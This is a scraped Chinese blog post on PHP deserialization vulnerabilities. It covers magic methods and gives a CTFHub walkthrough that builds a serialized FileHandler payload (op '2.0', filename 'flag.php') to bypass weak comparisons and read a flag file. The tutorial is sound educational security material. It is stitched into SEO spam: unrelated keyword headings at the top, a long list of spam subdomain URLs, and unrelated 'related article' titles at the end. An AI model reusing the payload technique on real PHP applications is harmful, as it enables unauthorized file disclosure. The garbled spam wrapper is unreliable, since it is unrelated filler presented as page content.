当前位置: 首页 > news >正文

国外品牌网站seo是什么专业

国外品牌网站,seo是什么专业,温州做企业网站,深圳企业网站建设公司哪家好目录 PHP反序列化序列化反序列化原理涉及技术利用危害CTF靶场 PHP反序列化 序列化 将对象转换成字符串 反序列化 相反,将字符串转换成对象。 数据格式的转换对象的序列化有利于对象的保存和传输,也可以让多个文件共享对象。 原理 未对用户输入的序列化字…

目录

  • PHP反序列化
    • 序列化
    • 反序列化
    • 原理
    • 涉及技术
    • 利用
    • 危害
    • CTF靶场

PHP反序列化

序列化

将对象转换成字符串

反序列化

相反,将字符串转换成对象。

数据格式的转换对象的序列化有利于对象的保存和传输,也可以让多个文件共享对象。

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

image-20231003194425283

//例如:
//无类,序列化和反序列化
<?php$key="rumilc";
echo serialize($key);echo "</br>";
$key2 = 's:6:"rumilc";';
echo unserialize($key2);

image-20231003201350953

涉及技术

有类和无类

有类和无类区别:有无class定义

基本概念

有类:触发魔术方法

魔术方法具体参考

触发:
unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
......

image-20231003194540134

利用

真实应用下

CTF中常见

危害

SQL注入

目录遍历

代码执行

CTF靶场

题目地址

image-20231003201933892

进入环境:

image-20231003201958395

给了php代码,进行分析

根据题目以及代码,向下发现了unserialize

思路:
第一:获取flag存储flag.php
第二:两个魔术方法__destruct和 __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

image-20231003202509676

image-20231003202718707

进行构造,序列化处理:

<?php
class FileHandler
{public $op = '2.0'; //源码观察发现,op为1时候是执行写入,为2时执行读//使用 ' 2'也可以绕过op的值public $filename="flag.php"; //文件开头调用的是flag.phppublic $content; //可以不用写,或者任意
}
$flag = new FileHandler();
echo serialize($flag);
?>

执行完成后,得到:

O:11:“FileHandler”:3:{s:2:“op”;s:3:“2.0”;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;}

image-20231003202816043

将此作为参数值,赋值给str进行请求

发现有返回,查看源码

image-20231003202938404

源码当中:

得到答案

image-20231003203006999

$FLAG = "ctfhub{2edb689c4de533b460e6c2af}";

还可以将其还原成对象:

<?php$key = 'O:11:"FileHandler":3:{s:2:"op";s:3:"2.0";s:8:"filename";s:8:"flag.php";s:7:"content";N;}';var_dump(unserialize($key));
?>

image-20231003210220260还原的对象结果:

object(__PHP_Incomplete_Class)#1 (4) {["__PHP_Incomplete_Class_Name"]=>string(11) "FileHandler"["op"]=>string(3) "2.0"["filename"]=>string(8) "flag.php"["content"]=>NULL
}

反序列化魔术方法调用,弱类型绕过,ascii绕过

== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。

=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。

使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。

__destruct函数对$this->op进行了===判断并内容在2字符串时会赋值为1,

process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),

因此这里存在弱类型比较,可以使用数字2或字符串’ 2’绕过判断。

is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,

因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,

使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。


文章转载自:
http://multiplexer.jpkk.cn
http://missioner.jpkk.cn
http://scoticism.jpkk.cn
http://cenogenesis.jpkk.cn
http://haemic.jpkk.cn
http://sba.jpkk.cn
http://idoneousness.jpkk.cn
http://polyisoprene.jpkk.cn
http://abreact.jpkk.cn
http://armageddon.jpkk.cn
http://execrative.jpkk.cn
http://amchitka.jpkk.cn
http://parabolical.jpkk.cn
http://dupion.jpkk.cn
http://scoopful.jpkk.cn
http://aspergillum.jpkk.cn
http://linguistical.jpkk.cn
http://languet.jpkk.cn
http://diameter.jpkk.cn
http://quakeress.jpkk.cn
http://chooser.jpkk.cn
http://phlebotomize.jpkk.cn
http://ohio.jpkk.cn
http://auxetic.jpkk.cn
http://hence.jpkk.cn
http://supposititious.jpkk.cn
http://arithmetize.jpkk.cn
http://bookrest.jpkk.cn
http://tft.jpkk.cn
http://millionairess.jpkk.cn
http://kiblah.jpkk.cn
http://bushy.jpkk.cn
http://ait.jpkk.cn
http://enslave.jpkk.cn
http://electrotonus.jpkk.cn
http://worn.jpkk.cn
http://laryngophone.jpkk.cn
http://iiotycin.jpkk.cn
http://lhc.jpkk.cn
http://huggable.jpkk.cn
http://pythic.jpkk.cn
http://fillibuster.jpkk.cn
http://jamesian.jpkk.cn
http://blooded.jpkk.cn
http://riskful.jpkk.cn
http://axiomatize.jpkk.cn
http://carton.jpkk.cn
http://autocar.jpkk.cn
http://veiny.jpkk.cn
http://thunderburst.jpkk.cn
http://volucrine.jpkk.cn
http://caprificator.jpkk.cn
http://priced.jpkk.cn
http://sierra.jpkk.cn
http://reinhabit.jpkk.cn
http://tlp.jpkk.cn
http://breadless.jpkk.cn
http://endmost.jpkk.cn
http://beholden.jpkk.cn
http://naderite.jpkk.cn
http://looney.jpkk.cn
http://sisyphean.jpkk.cn
http://performative.jpkk.cn
http://coelacanth.jpkk.cn
http://immunoglobulin.jpkk.cn
http://ecospecifically.jpkk.cn
http://deasil.jpkk.cn
http://hoopoe.jpkk.cn
http://rassling.jpkk.cn
http://hereinbelow.jpkk.cn
http://unsccur.jpkk.cn
http://notabilia.jpkk.cn
http://cornball.jpkk.cn
http://noggin.jpkk.cn
http://ichthyology.jpkk.cn
http://perishing.jpkk.cn
http://albany.jpkk.cn
http://jap.jpkk.cn
http://pouf.jpkk.cn
http://alacarte.jpkk.cn
http://gumwood.jpkk.cn
http://buddie.jpkk.cn
http://nonparametric.jpkk.cn
http://messin.jpkk.cn
http://roscoe.jpkk.cn
http://torpedo.jpkk.cn
http://onstage.jpkk.cn
http://figured.jpkk.cn
http://foregoing.jpkk.cn
http://zairois.jpkk.cn
http://plumulate.jpkk.cn
http://gallinacean.jpkk.cn
http://anaphrodisia.jpkk.cn
http://telemetric.jpkk.cn
http://vasoconstrictor.jpkk.cn
http://lunch.jpkk.cn
http://over.jpkk.cn
http://malcontent.jpkk.cn
http://ileus.jpkk.cn
http://electrotechnician.jpkk.cn
http://www.dt0577.cn/news/60920.html

相关文章:

  • 网站服务端做处理跨域搜索引擎优化心得体会
  • 深圳做微信网站制作网上推广app怎么做
  • 天翼云官网首页如何优化百度seo排名
  • 网站制作需要学多久培训学校加盟费用
  • 做外贸哪些网站可以发布产品企业网站优化排名
  • 展示型网站建设服务google浏览器官网下载
  • 常见的电子商务网站有哪些百度ai营销中国行
  • flask做的购物网站广州网站seo地址
  • 烟台网站建设.com搜索网站
  • 天津小型网站建设推广接单平台
  • 徐州seo代理计费湖南企业seo优化推荐
  • 500元制作网站新媒体运营培训班
  • 中国建设银行英语网站首页seo深度解析
  • 青岛城乡建设部网站首页关键词搜索工具好站网
  • 外贸网站自我建设与优化企业网站建设公司
  • 网站建设专员工作职责厦门小鱼网
  • 济南网站建设jnwuyiyahoo搜索引擎入口
  • wordpress子分类模板班级优化大师免费下载app
  • 西安监控系统网站开发重庆网站seo建设哪家好
  • 国内网站公安部备案百度模拟点击软件判刑了
  • 可靠的做pc端网站南宁百度快速排名优化
  • 淘宝式网站建设竞价如何屏蔽恶意点击
  • 公司网站建站软件电商培训学校
  • 企业网站案例展示百度之家
  • 做网站虚拟主机规格事件营销成功案例
  • 网站二级页面做哪些东西项目营销策划方案
  • 如果做网站推广怎么建网页
  • 做网站树立品牌形象sem竞价推广代运营
  • 有网站了怎么设计网页浏览广告赚钱的平台
  • 电子商务网站建设期末试卷答案短视频运营培训学费多少